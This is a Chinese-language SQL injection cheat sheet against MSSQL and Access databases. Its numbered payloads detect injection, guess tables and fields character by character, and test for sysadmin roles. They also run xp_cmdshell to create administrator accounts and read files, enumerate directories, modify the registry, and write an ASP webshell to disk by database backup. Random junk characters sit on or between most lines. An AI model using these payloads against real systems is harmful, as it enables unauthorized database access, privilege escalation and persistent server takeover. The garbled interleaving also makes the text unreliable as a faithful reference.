1.判断是否有注入;and 1=1 ;and 1=2 6X!jNh$oF
2.初步判断是否是mssql ;and user>0 2~V"[26t
ocpM6b.fK
3.注入参数是字符'and [查询条件] and ''=' b8Hzl!zO
]M~7L[
4.搜索时没过滤参数的'and [查询条件] and '%25'=' VAe[x
`
ZQ-6n1O
5.判断数据库系统 :EH>&vm
JE<h
;and (select count(*) from sysobjects)>0 mssql ~Qf\DTM&
iDltN]zS
;and (select count(*) from msysobjects)>0 access !:}m-iqQ1
g(G$*#}o8A
d\8j!F^=
t5 P8?q\
6.猜数据库 ;and (select Count(*) from [数据库名])>0 (aq-aum-I
Zvra > %
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 `91Z]zGpU
/wkrfYRs
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 b+L !p.:
a^Q
?K\c4N
9.(1)猜字段的ascii值(access) btbuE
|C0!mU
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 X}ihYM3y/
aNwx~t]G
(2)猜字段的ascii值(mssql) yf4 i!~
*<}R=X.
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 j8^zE,Z
BH}M]<5
10.测试权限结构(mssql) 9S l5jn
5@pLGMHT
p1T0FBV
L
6 B7F
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 'a:';hU3f
9hJ
a K
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Ag&K@ %|*
pOj8-rr
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 5XuQQ!`
/"^XrVi-
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 90ov[|MkM
<)"i' v $
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- CioS}K
itcM-?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 1@F>E;YjL=
4H{$zMq8
;and 1=(select IS_MEMBER('db_owner'));-- sLSH`Xy?5
:8N{;aui
1)f <
gJg+
]-h/
11.添加mssql和系统的帐户 i@ 86Ez
PWO5R]
;exec master.dbo.sp_addlogin username;-- A7T(p7pP
;exec master.dbo.sp_password null,username,password;-- Z|A+\#'
FtDF}
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- G+\&8fi0
,L-V?B(UQ
;exec master.dbo.xp_cmdshell 'net user username password ]Y$jc
t@iw&>8z
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- H|'n|\{lt
$&i8/pD
;exec master.dbo.xp_cmdshell 'net user username password /add';-- jLw|F-v-l<
Zq:c2/\c}
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- _,f7D/dq
UMHFq-
~y/qm
[P
Zm+GH^f'
12.(1)遍历目录 Q<yvpT(
7Jpq7;
;create table dirs(paths varchar(100), id int) };f^*KZ=0
&y-z[GR[{
;insert dirs exec master.dbo.xp_dirtree 'c:\' ~
cI`$kJ
F'@9kdp
;and (select top 1 paths from dirs)>0 c @KNyBy2
~b%dBn]n>
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) vtc%MG1
Ci2*5n<
<)"2rxX&5
6p.y/LMO
(2)遍历目录 E#cu}zi
c2]h.G83
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
lk=[Xo
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 b27t-p8
5D mSgP:
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 'CRjd~L
A[^k4>
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Ml)<4@
cmY `$=
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 V5 Gy|X
7324#Hw S
OUN"'p%%
(R9"0WeF
13.mssql中的存储过程 7_eV.'h
Qz$Wp*
xp_regenumvalues 注册表根键, 子键 Ix0#eoj
V=Z%y$1Bc
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 jV<5GWq
rAD4}A_w
xp_regread 根键,子键,键值名 {@PZlQg
(.b!kfC
;exec xp_regread Vq^b_^
vF'IK,
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 %Siw>
V3/OKI\o
xp_regwrite 根键,子键, 值名, 值类型, 值 \\Z?v,XsS
V h5\'Sn
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 4% 6@MQ[
_6]tbni?v
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 U?Vik
T`c:16I
xp_regdeletevalue 根键,子键,值名 \t? ;p-+ta
s,M]f,T
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 M -8d*#_P
qr~zTBT]
E
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 DP!8c
dd4^4X`j
q~{O^,4S
.4y44: T
14.mssql的backup创建webshell Ol;"}3*Z*
I~-sBMm(w
use model !VHw*fL|r
J~N!. i
create table cmd(str image); 9rM#w"E?<
}xgs]\^,73
insert into cmd(str) values (''); m5W':vM
tNAmA
backup database model to disk='c:\l.asp'; V)ITk\
SN$3cg]z
C
*7x7|z
_gpf9ad
15.mssql内置函数 )1<GSr9
.AF\[IQ
;and (select @@version)>0 获得Windows的版本号 ^vI`#}?
41+@!`z7
;and user_name()='dbo' 判断当前系统的连接用户是不是sa NkAu<>
G _
r\q|DZ7
;and (select user_name())>0 爆当前系统的连接用户 -8SZ}J
)t,efg
;and (select db_name())>0 得到当前连接的数据库 A|m0.'/
k?Njge6@
V} h)e3X
6-\M }xq?
16.简洁的webshell ?~oc4J*>(
^>z+e"PQA
use model Y{8}z
ZD
UxnZA5Lk*
create table cmd(str image); Zy>y7O(,
~le:4qaX
insert into cmd(str) values (''); e )]
{=+'3p
backup database model to disk='g:\wwwtest\l.asp';